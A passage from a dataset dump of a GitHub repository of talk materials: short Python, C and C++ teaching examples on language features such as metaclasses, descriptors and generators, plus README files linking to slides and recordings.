print('C.foo()')\n\nclass D(B, C):\n def bar(self):\n print('D.bar()')\n\nx = D()\nprint(D.__mro__) # (D, B, C, A, object)\nx.bar() # D.bar()\nx.foo() # B.foo()\n" }, { "alpha_fraction": 0.6413792967796326, "alphanum_fraction": 0.6862068772315979, "avg_line_length": 71.5, "blob_id": "89502909a99c4265e90ed8cc0169d97a63eb7e84", "content_id": "adf004d262eaa4a6b5239942096a333848fcf490", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 580, "license_type": "permissive", "max_line_length": 148, "num_lines": 8, "path": "/2010-03-10-k-Limited-Erasing-Performed-by-Regular-Controlled-Context-Free-Grammars/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "k-Limited Erasing Performed by Regular-Controlled Context-Free Grammars\n=======================================================================\n\nSupportive material for my *k-Limited Erasing Performed by Regular-Controlled Context-Free Grammars* talk from 2010-03-10.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2010-03-10-k-Limited-Erasing-Performed-by-Regular-Controlled-Context-Free-Grammars/slides.pdf)\n* [Recording](https://www.youtube.com/watch?v=qiIimkEr4ZA) (in Czech)\n* [Photos](https://talks.petrzemek.net/Petr-Zemek_-_2010-03-10_-_k-Limited-Erasing-RC-CFG/)\n" }, { "alpha_fraction": 0.5289855003356934, "alphanum_fraction": 0.5652173757553101, "avg_line_length": 11.545454978942871, "blob_id": "8a641cef2d1d38cdbd6504b72b86edb21581c65f", "content_id": "d0128ff5ce7dacecab77c76471b3bfa4c4633e3e", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 138, "license_type": "permissive", "max_line_length": 21, "num_lines": 11, "path": "/2021-03-08-Introduction-to-Python/examples/27-pythonic-vs-unpythonic.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "items = [1, 2, 3]\n\n# Unpythonic\ni = 0\nwhile i < len(items):\n print(items[i])\n i += 1\n\n# Pythonic\nfor item in items:\n print(item)\n" }, { "alpha_fraction": 0.6487935781478882, "alphanum_fraction": 0.6648793816566467, "avg_line_length": 27.69230842590332, "blob_id": "d6691a878f0504a19e1274929085a2968d0bba46", "content_id": "82166cfaf882abcbdf7ac2b6b64337d2d60b91ab", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 373, "license_type": "permissive", "max_line_length": 91, "num_lines": 13, "path": "/2020-03-26-Python-Object-Model/examples/init-subclass.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "# An example of using __init_subclass__. Useful for e.g. pluing systems.\n# Available since Python 3.6.\n\nclass Plugin:\n registered_plugins = []\n\n def __init_subclass__(cls):\n Plugin.registered_plugins.append(cls)\n\nclass Plugin1(Plugin): ...\nclass Plugin2(Plugin): ...\n\nprint(Plugin.registered_plugins) # [<class '__main__.Plugin1'>, <class '__main__.Plugin2'>]\n" }, { "alpha_fraction": 0.3956044018268585, "alphanum_fraction": 0.4285714328289032, "avg_line_length": 10.375, "blob_id": "1592ea13260554997aaa222d6da0368ff6e3b9ce", "content_id": "0d089e16a45e4dc6f692474644f88f0e0f8eb1bb", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 91, "license_type": "permissive", "max_line_length": 16, "num_lines": 8, "path": "/2017-03-07-Introduction-to-Python/examples/24-finally.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "# :-)\ndef foo():\n try:\n return 1\n finally:\n return 2\n\nprint(foo()) # 2\n" }, { "alpha_fraction": 0.5423728823661804, "alphanum_fraction": 0.6384180784225464, "avg_line_length": 13.75, "blob_id": "6698017c694bc0f39e6968005cb4d79ce25df437", "content_id": "edd36ae4cd77abe58ead90fefd4e4d1b8c557b06", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 177, "license_type": "permissive", "max_line_length": 48, "num_lines": 12, "path": "/2020-03-26-Python-Object-Model/examples/object-identity-type-value.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "# Every object has an identity, type, and value.\n\nx = 1\n\n# Identity:\nprint(id(x)) # 139646657628064 (will differ)\n\n# Type:\nprint(type(x)) # <class 'int'>\n\n# Value:\nprint(x) # 1\n" }, { "alpha_fraction": 0.642405092716217, "alphanum_fraction": 0.699367105960846, "avg_line_length": 44.14285659790039, "blob_id": "c22a907dd982390df4d41382e97859021372dbd3", "content_id": "6492cd2546fe608d8c4a336d5422e47dcd10ef83", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 316, "license_type": "permissive", "max_line_length": 105, "num_lines": 7, "path": "/2010-12-01-Left-Random-Context-Grammars/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "Left Random Context Grammars\n============================\n\nSupportive material for my *Left Random Context Grammars* talk from 2010-12-01.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2010-12-01-Left-Random-Context-Grammars/slides.pdf)\n* [Recording](https://www.youtube.com/watch?v=byQNV-ZE3ww) (in Czech)\n" }, { "alpha_fraction": 0.5797872543334961, "alphanum_fraction": 0.5797872543334961, "avg_line_length": 30.33333396911621, "blob_id": "414269f8866709cc9bf50edaac5d0b68c73c350d", "content_id": "1de5253136300f1f2ca9504eee64a580d02e2d95", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 376, "license_type": "permissive", "max_line_length": 95, "num_lines": 12, "path": "/2020-03-26-Python-Object-Model/examples/descriptor.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "# A simple example of a descriptor.\n\nclass MyDescriptor:\n def __get__(self, instance, owner=None):\n return f'__get__: {self}, {instance}, {owner}'\n\nclass A:\n x = MyDescriptor()\n\na = A()\nprint(a.x) # __get__: <__main__.MyDescriptor object>, <__main__.A object>, <class '__main__.A'>\nprint(A.x) # __get__: <__main__.MyDescriptor object>, None, <class '__main__.A'>\n" }, { "alpha_fraction": 0.6459770202636719, "alphanum_fraction": 0.6919540166854858, "avg_line_length": 61.14285659790039, "blob_id": "95ae28be8c3dbf40075a002f571924d8921356ed", "content_id": "d22af6364b4e15861afcd4d3ac16e9e25ea8913b", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 443, "license_type": "permissive", "max_line_length": 134, "num_lines": 7, "path": "/2008-04-25-Prevod-webovychsstranek-s-publikacemi-do-formatu-BibTeXML/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "Převod webových stránek s publikacemi do formátu BibTeXML\n=========================================================\n\nSupportive material for my *Převod webových stránek s publikacemi do formátu BibTeXML* talk from 2008-04-25.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2008-04-25-Prevod-webovychsstranek-s-publikacemi-do-formatu-BibTeXML/slides.pdf)\n* [Video recording](https://www.youtube.com/watch?v=6i4fFa1lFJo) (Czech)\n" }, { "alpha_fraction": 0.6455696225166321, "alphanum_fraction": 0.699367105960846, "avg_line_length": 51.66666793823242, "blob_id": "d36b918233df312dfc688a2a2c9234ea90c99917", "content_id": "fb96a88fa487e87b519da75e88ad29731cdfa50a", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 326, "license_type": "permissive", "max_line_length": 121, "num_lines": 6, "path": "/2013-02-21-Matematicke-zaklady-teorie-formalnich-jazyku/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "Matematické základy teorie formálních jazyků\n============================================\n\nSupportive material for my Czech talk *Matematické základy teorie formálních jazyků* from 2013-02-21.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2013-02-21-Matematicke-zaklady-teorie-formalnich-jazyku/slides.pdf)\n" }, { "alpha_fraction": 0.30000001192092896, "alphanum_fraction": 0.38749998807907104, "avg_line_length": 12.333333015441895, "blob_id": "f4fb6acd144988a9375c406d10b003a76366fc1a", "content_id": "7f3e63c1fb6018a2c9b775eebf7066a5b9766177", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 80, "license_type": "permissive", "max_line_length": 22, "num_lines": 6, "path": "/2017-03-07-Introduction-to-Python/examples/11-dict.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "d = {\n 'John': 2.5,\n 'Paul': 1.5,\n 'Laura': 1\n}\nprint(d['John']) # 2.5\n" }, { "alpha_fraction": 0.42937853932380676, "alphanum_fraction": 0.42937853932380676, "avg_line_length": 13.75, "blob_id": "ba47525d36dda71a1b057f1dcea7373d3b6afd37", "content_id": "708b520eb3aee55fd0ac8291e7b3083093057a8e", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 177, "license_type": "permissive", "max_line_length": 25, "num_lines": 12, "path": "/2020-03-02-Introduction-to-Python/examples/24-del.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "class A:\n def __init__(self):\n print('__init__')\n\n def __del__(self):\n print('__del__')\n\nx = A() # __init__\ny = x\ndel x\nprint('x deleted')\ndel y # __del__\n" }, { "alpha_fraction": 0.5641025900840759, "alphanum_fraction": 0.5811966061592102, "avg_line_length": 28.25, "blob_id": "cabedd116c22c7f192b5570174df0a1f0f8d9224", "content_id": "bb48ef2ca5dfa0a31f0401d2f339fa88b5150ac6", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 117, "license_type": "permissive", "max_line_length": 74, "num_lines": 4, "path": "/2019-03-04-Introduction-to-Python/examples/07-dynamic-typing.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "x = 1\nx = 'Hello Joe'\nprint(x + '!') # OK\nprint(x + 2) # During runtime, we get `TypeError: must be str, not int`.\n" }, { "alpha_fraction": 0.6165048480033875, "alphanum_fraction": 0.6990291476249695, "avg_line_length": 33.33333206176758, "blob_id": "85eb481e3cca4e7eeaf65df6bb2e5ea1d58b1b1a", "content_id": "4efc3b43b7ca91f8518127deb6f21481257f86ab", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 206, "license_type": "permissive", "max_line_length": 95, "num_lines": 6, "path": "/2011-03-07-Flying-with-Python/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "Flying with Python\n==================\n\nSupportive material for my *Flying with Python* talk from 2011-03-07.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2011-03-07-Flying-with-Python/slides.pdf)\n" }, { "alpha_fraction": 0.6056337952613831, "alphanum_fraction": 0.6338028311729431, "avg_line_length": 16.75, "blob_id": "22493d47ad1b394be7e1e935814512c6232d43fe", "content_id": "9dcdfd9979b5f80786422217fec3599fe57420fd", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 71, "license_type": "permissive", "max_line_length": 45, "num_lines": 4, "path": "/2017-03-07-Introduction-to-Python/examples/19-del.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "x = 1\nprint(x) # 1\ndel x\nprint(x) # NameError: name 'x' is not defined\n" }, { "alpha_fraction": 0.5670995712280273, "alphanum_fraction": 0.6709956526756287, "avg_line_length": 56.75, "blob_id": "871a0f6421e613eac470f5c5f0a32dbf83de2727", "content_id": "d2ea417484489f11b85fae79f94d828fe399a2ee", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 462, "license_type": "permissive", "max_line_length": 120, "num_lines": 8, "path": "/2015-12-04-Modernizing-Cpp98-Code-With-Cpp11-and-Cpp14/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "Modernizing C++98 Code With C++11 and C++14\n===========================================\n\nSupportive material for my *Modernizing C++98 Code With C++11 and C++14* talk from 2015-12-04.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2015-12-04-Modernizing-Cpp98-Code-With-Cpp11-and-Cpp14/slides.pdf)\n* [Recording](https://www.youtube.com/watch?v=ejmsyCeIpC4) (in Czech)\n* [Blog post](https://blog.petrzemek.net/2014/12/07/improving-cpp98-code-with-cpp11/)\n" }, { "alpha_fraction": 0.5077472925186157, "alphanum_fraction": 0.5113229751586914, "avg_line_length": 21.078947067260742, "blob_id": "190fb2a1280785ce0251b11f44c7635ca3a27a21", "content_id": "b9b8607004fa4ea3b9b1d783630a464f765361ec", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 839, "license_type": "permissive", "max_line_length": 73, "num_lines": 38, "path": "/2019-03-04-Introduction-to-Python/examples/24-instance-creation-meta.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "# A full version of 24-instance-creation.py that also covers metaclasses.\n\nclass Meta(type):\n def __new__(meta, name, bases, dict):\n print('Meta.__new__()')\n return type.__new__(meta, name, bases, dict)\n\n def __init__(cls, name, bases, dict):\n print('Meta.__init__()')\n return type.__init__(cls, name, bases, dict)\n\n def __call__(cls, n):\n print('Meta.__call__()')\n return type.__call__(cls, n)\n\n# The following creation of A prints:\n#\n# Meta.__new__()\n# Meta.__init__()\n#\nclass A(metaclass=Meta):\n def __new__(cls, x):\n print('A.__new__()')\n return object.__new__(cls)\n\n def __init__(self, x):\n print('A.__init__()')\n self.x = x\n\nprint()\n\n# The following instantiation prints:\n#\n# Meta.__call__()\n# A.__new__()\n# A.__init__()\n#\na = A(1)\n" }, { "alpha_fraction": 0.661577582359314, "alphanum_fraction": 0.7277353405952454, "avg_line_length": 48.125, "blob_id": "62259ab630ddd3fef112b86e55ab3c4e2453e248", "content_id": "9905bc14e0e63c98e2aaee393730914f0fc6e665", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 393, "license_type": "permissive", "max_line_length": 100, "num_lines": 8, "path": "/2021-03-08-Introduction-to-Python/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "Introduction to Python\n======================\n\nSupportive material for my *Introduction to Python* talk from 2021-03-08.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2021-03-08-Introduction-to-Python/slides.pdf)\n* [Examples](https://github.com/s3rvac/talks/tree/master/2021-03-08-Introduction-to-Python/examples)\n* [Recording](https://www.youtube.com/watch?v=jloyCYPCvrg) (in Czech)\n" }, { "alpha_fraction": 0.5161290168762207, "alphanum_fraction": 0.5725806355476379, "avg_line_length": 18.076923370361328, "blob_id": "7bce4393fc55daf846491575145ac2358e7ce2bd", "content_id": "3a1b5d641e96b6183f70296583bcbe780b3a6040", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 496, "license_type": "permissive", "max_line_length": 57, "num_lines": 26, "path": "/2018-03-05-Introduction-to-Python/examples/17-arguments.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "def add(a=0, b=0):\n return a + b\n\n# Default arguments:\nprint(add(1, 2)) # 3\nprint(add(1)) # 1\nprint(add()) # 0\n\n# Keyword arguments:\nprint(add(1, b=1)) # 2\nprint(add(b=1)) # 1\n\n# Variable-length arguments:\ndef sum(*args):\n result = 0\n for arg in args:\n result += arg\n return result\n\nprint(sum(1, 2, 3, 4)) # 10\n\n# Variable-length arguments, including keyword arguments:\ndef foo(*args, **kwargs):\n print(args, kwargs)\n\nfoo(1, 2, a=5, b=6) # (1, 2) {'a': 5, 'b': 6}\n" }, { "alpha_fraction": 0.47457626461982727, "alphanum_fraction": 0.47457626461982727, "avg_line_length": 13.75, "blob_id": "d5368f24c39829bd7793d8442e871009413069db", "content_id": "a233bb2e4a6268eefc71233eb47ea62b661c8a3d", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 59, "license_type": "permissive", "max_line_length": 40, "num_lines": 4, "path": "/2018-03-05-Introduction-to-Python/examples/23-object.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "class A:\n ...\n\nprint(A.__bases__) # (<class 'object'>,)\n" }, { "alpha_fraction": 0.5303429961204529, "alphanum_fraction": 0.5751978754997253, "avg_line_length": 22.6875, "blob_id": "f59b36aa32d4842c18c87df739606685bc784452", "content_id": "46e128377a3c999b6b2668f810746f972923cceb", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 379, "license_type": "permissive", "max_line_length": 63, "num_lines": 16, "path": "/2017-03-07-Introduction-to-Python/examples/30-countdown.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "def countdown(n):\n print('starting to count from', n)\n while n > 0:\n yield n\n n -= 1\n print('done')\n\nc = countdown(5)\nprint(c) # <generator object countdown at 0x7fc2fb7744c0>\nx = next(c) # starting to count from 5\nprint(x) # 5\nprint(next(c)) # 4\nprint(next(c)) # 3\nprint(next(c)) # 2\nprint(next(c)) # 1\nnext(c) # done, StopIteration\n" }, { "alpha_fraction": 0.6419354677200317, "alphanum_fraction": 0.6967741847038269, "avg_line_length": 50.66666793823242, "blob_id": "ae9350fe0526646fce8078d9bc828675fb796346", "content_id": "3f202d4bdb23a0fca4ba3f4af6a6e5a296a0f8ed", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 310, "license_type": "permissive", "max_line_length": 121, "num_lines": 6, "path": "/2008-06-12-Canonical-Derivations-in-Programmed-Grammars/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "Canonical Derivations in Programmed Grammars\n============================================\n\nSupportive material for my *Canonical Derivations in Programmed Grammars* talk from 2008-06-12.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2008-06-12-Canonical-Derivations-in-Programmed-Grammars/slides.pdf)\n" }, { "alpha_fraction": 0.6412213444709778, "alphanum_fraction": 0.6679389476776123, "avg_line_length": 31.75, "blob_id": "599bf798ae2597e051b91f433369f2008ea8491d", "content_id": "fe8f0ed9c53cbc7e01c664c648d67f4cb15c6d61", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 262, "license_type": "permissive", "max_line_length": 60, "num_lines": 8, "path": "/2018-03-05-Introduction-to-Python/examples/24-special-methods.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "# A list that disallows assignments:\nclass MyList(list):\n def __setitem__(self, index, value):\n raise RuntimeError('assignment is not supported')\n\nlist = MyList([1, 2, 3])\nprint(list[0]) # 1\n# list[0] = 2 # RuntimeError: assignment is not supported\n" }, { "alpha_fraction": 0.6267123222351074, "alphanum_fraction": 0.6849315166473389, "avg_line_length": 40.71428680419922, "blob_id": "b3befd73ffbf9dc143ada4e36736c95510e9d47c", "content_id": "98ab7f766832adadf3e75db6c2d843c4ede6eb18", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 292, "license_type": "permissive", "max_line_length": 99, "num_lines": 7, "path": "/2016-04-22-Cpp-Traps-and-Pitfalls/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "C++ Traps and Pitfalls\n======================\n\nSupportive material for my *C++ Traps and Pitfalls* talk from 2016-04-22.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2016-04-22-Cpp-Traps-and-Pitfalls/slides.pdf)\n* [Recording](https://www.youtube.com/watch?v=ZsqaatrXYZc) (in Czech)\n" }, { "alpha_fraction": 0.6086956262588501, "alphanum_fraction": 0.6787439584732056, "avg_line_length": 58.14285659790039, "blob_id": "757ce87ed0300247835d26e50d0d1152a358b4e4", "content_id": "31cd1e4bcb3c99abbeeb3ef9e3ffeeb9fde4d5d6", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 414, "license_type": "permissive", "max_line_length": 123, "num_lines": 7, "path": "/2009-12-17-Lookahead-k-greater-1-in-LL-and-LR-Translators/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "Lookahead k > 1 in LL and LR Translators\n========================================\n\nSupportive material for my *Lookahead k > 1 in LL and LR Translators* talk from 2009-12-17.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2009-12-17-Lookahead-k-greater-1-in-LL-and-LR-Translators/slides.pdf)\n* [Audio recording](https://talks.petrzemek.net/Petr-Zemek_-_2009-12-18_-_Lookahead-in-LL-and-LR-Translators.mp3)\n" }, { "alpha_fraction": 0.6505882143974304, "alphanum_fraction": 0.6600000262260437, "avg_line_length": 26.419355392456055, "blob_id": "4e7d2c86f5d0e3ed3ec96e5ad8ca7313b30c7fb6", "content_id": "c8391e065df341e2ca07ab31391aad25fc797bcd", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 850, "license_type": "permissive", "max_line_length": 77, "num_lines": 31, "path": "/2017-03-07-Introduction-to-Python/demos/wc2_tests.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "# A sample test for the wc2 module.\n\nimport io\nimport unittest\n\nfrom wc2 import count_lines_and_words\n\nclass CountLinesAndWordsTests(unittest.TestCase):\n def test_returns_correct_lines_and_words_for_empty_file(self):\n file = io.StringIO('')\n\n lines, words = count_lines_and_words(file)\n\n self.assertEqual(lines, 0)\n self.assertEqual(words, 0)\n\n def test_returns_correct_lines_and_words_for_file_with_single_line(self):\n file = io.StringIO('a b c')\n\n lines, words = count_lines_and_words(file)\n\n self.assertEqual(lines, 1)\n self.assertEqual(words, 3)\n\n def test_returns_correct_lines_and_words_for_file_with_empty_line(self):\n file = io.StringIO('a\\n\\nb')\n\n lines, words = count_lines_and_words(file)\n\n self.assertEqual(lines, 3)\n self.assertEqual(words, 2)\n" }, { "alpha_fraction": 0.5114942789077759, "alphanum_fraction": 0.522988498210907, "avg_line_length": 23.85714340209961, "blob_id": "be6953f8949c890106eaf41cdc2893c22d5fb551", "content_id": "dd6785866fdee2ac4f4ff1cbdb214b0947953b1d", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 174, "license_type": "permissive", "max_line_length": 83, "num_lines": 7, "path": "/2017-03-07-Introduction-to-Python/examples/23-inheritance-fun.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "import random\n\nclass A: ...\nclass B: ...\nclass C(A if random.random() > 0.5 else B): ...\n\nprint(C.__bases__) # Either (<class '__main__.A'>,) or (<class '__main__.B'>,) :-).\n" }, { "alpha_fraction": 0.6292517185211182, "alphanum_fraction": 0.6428571343421936, "avg_line_length": 17.967741012573242, "blob_id": "52e619d52cd7f2acb627c2e6ff8fb6a6610d210c", "content_id": "639b7086f8450a6f6232cd8b43fe23960f58bd45", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 588, "license_type": "permissive", "max_line_length": 64, "num_lines": 31, "path": "/2017-03-07-Introduction-to-Python/examples/06-duck-typing.cpp", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "// In C++, templates provide a duck-typing-like behavior.\n//\n// Based on https://en.wikipedia.org/wiki/Duck_typing#In_C.2B.2B\n//\n// $ g++ 06-duck-typing.cpp -o 06-duck-typing\n// $ ./06-duck-typing\n\n#include <iostream>\n\nclass Duck {\npublic:\n\tvoid quack() { std::cout << \"quack quack\\n\"; }\n};\n\nclass Person {\npublic:\n\tvoid quack() { std::cout << \"faked quack quack\\n\"; }\n};\n\ntemplate<typename T>\nvoid in_the_forest(T& duck) {\n\tduck.quack();\n}\n\nint main() {\n\tDuck duck;\n\tPerson person;\n\n\tin_the_forest(duck); // prints \"quack quack\"\n\tin_the_forest(person); // prints \"faked quack quack\"\n}\n" }, { "alpha_fraction": 0.6610169410705566, "alphanum_fraction": 0.7231638431549072, "avg_line_length": 43.25, "blob_id": "46b83fcfeecd7504bd30f0a47f7578232cb70376", "content_id": "4d28ebb799b8a61161fddec3d416039fb6da43b8", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 354, "license_type": "permissive", "max_line_length": 94, "num_lines": 8, "path": "/2023-05-03-High-Quality-Code/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "High-Quality Code\n=================\n\nSupportive material for my *High-Quality Code* talk from 2023-05-03.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2023-05-03-High-Quality-Code/slides.pdf)\n* [English recording](https://www.youtube.com/watch?v=xfhsWXHAIuk) (version from 2022)\n* [Czech recording](https://www.youtube.com/watch?v=ORnIXpITa4g)\n" }, { "alpha_fraction": 0.6191860437393188, "alphanum_fraction": 0.6918604373931885, "avg_line_length": 48.14285659790039, "blob_id": "c11ac32dc2809b8da6b46b44f95f6c6ada171c76", "content_id": "b1b794a5373fe6ea6d80ba8940462b36d31e9a66", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 344, "license_type": "permissive", "max_line_length": 110, "num_lines": 7, "path": "/2014-09-12-One-Sided-Random-Context-Grammars/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "One-Sided Random Context Grammars\n=================================\n\nSupportive material for my *One-Sided Random Context Grammars* talk from 2014-09-12.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2014-09-12-One-Sided-Random-Context-Grammars/slides.pdf)\n* [Photos](https://talks.petrzemek.net/Petr-Zemek_-_2014-09-12_-_PHD.Defense)\n" }, { "alpha_fraction": 0.41304346919059753, "alphanum_fraction": 0.4855072498321533, "avg_line_length": 11.545454978942871, "blob_id": "9e1d250f27646be3068448a7d6ea118af8c2d55b", "content_id": "f52fe1615734f28aa72e3e5e4cab1a617ea30098", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 138, "license_type": "permissive", "max_line_length": 29, "num_lines": 11, "path": "/2017-03-07-Introduction-to-Python/examples/29-comp.c", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "// $ gcc -o 29-comp 29-comp.c\n// $ ./29-comp\n\n#include <stdio.h>\n\nint main() {\n\tint x = 10;\n\tif (1 < x < 5) {\n\t\tprintf(\"Really?\\n\");\n\t}\n}\n" }, { "alpha_fraction": 0.6165048480033875, "alphanum_fraction": 0.6990291476249695, "avg_line_length": 33.33333206176758, "blob_id": "0bf433f7cb2ef2e05254521313ad297901751e87", "content_id": "a1eac94b8e6196ef873e9da86079b6550c45904a", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 206, "license_type": "permissive", "max_line_length": 95, "num_lines": 6, "path": "/2012-02-13-Flying-with-Python/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "Flying with Python\n==================\n\nSupportive material for my *Flying with Python* talk from 2012-02-13.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2012-02-13-Flying-with-Python/slides.pdf)\n" }, { "alpha_fraction": 0.4838709533214569, "alphanum_fraction": 0.5345622301101685, "avg_line_length": 23.11111068725586, "blob_id": "04e0458356117f0c0028d0e158edf86e528f43b3", "content_id": "69b755220eb0d21865ac372a870ec61b8dc45ca8", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 217, "license_type": "permissive", "max_line_length": 74, "num_lines": 9, "path": "/2021-03-08-Introduction-to-Python/examples/31-arguments.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "def foo(x=[]):\n x.append(4)\n return x\n\nprint(foo([1, 2, 3])) # [1, 2, 3, 4]\nprint(foo()) # [4]\nprint(foo()) # [4, 4]\n\n# https://docs.python-guide.org/writing/gotchas/#mutable-default-arguments\n" }, { "alpha_fraction": 0.5041617155075073, "alphanum_fraction": 0.5077288746833801, "avg_line_length": 21.13157844543457, "blob_id": "fbbcfde0643a9715a9a88f66bd5334d8311f873c", "content_id": "6e00d9959a1b95ecbb03a67b9e6a9bb2737d44c3", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 841, "license_type": "permissive", "max_line_length": 73, "num_lines": 38, "path": "/2020-03-02-Introduction-to-Python/examples/24-instance-creation-meta.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "# A full version of 24-instance-creation.py that also covers metaclasses.\n\nclass Meta(type):\n def __new__(meta, name, bases, dict):\n print('Meta.__new__()')\n return super().__new__(meta, name, bases, dict)\n\n def __init__(self, name, bases, dict):\n print('Meta.__init__()')\n return super().__init__(name, bases, dict)\n\n def __call__(self, n):\n print('Meta.__call__()')\n return super().__call__(n)\n\n# The following creation of A prints:\n#\n# Meta.__new__()\n# Meta.__init__()\n#\nclass A(metaclass=Meta):\n def __new__(cls, n):\n print('A.__new__()')\n return super().__new__(cls)\n\n def __init__(self, n):\n print('A.__init__()')\n self.n = n\n\nprint()\n\n# The following instantiation prints:\n#\n# Meta.__call__()\n# A.__new__()\n# A.__init__()\n#\na = A(1)\n" }, { "alpha_fraction": 0.7713567614555359, "alphanum_fraction": 0.7713567614555359, "avg_line_length": 21.11111068725586, "blob_id": "429de68eed2ae99a7e80ae063eec969ada2dbf94", "content_id": "75b892d74faffbb726ae1072d409bb453758fc3d", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": 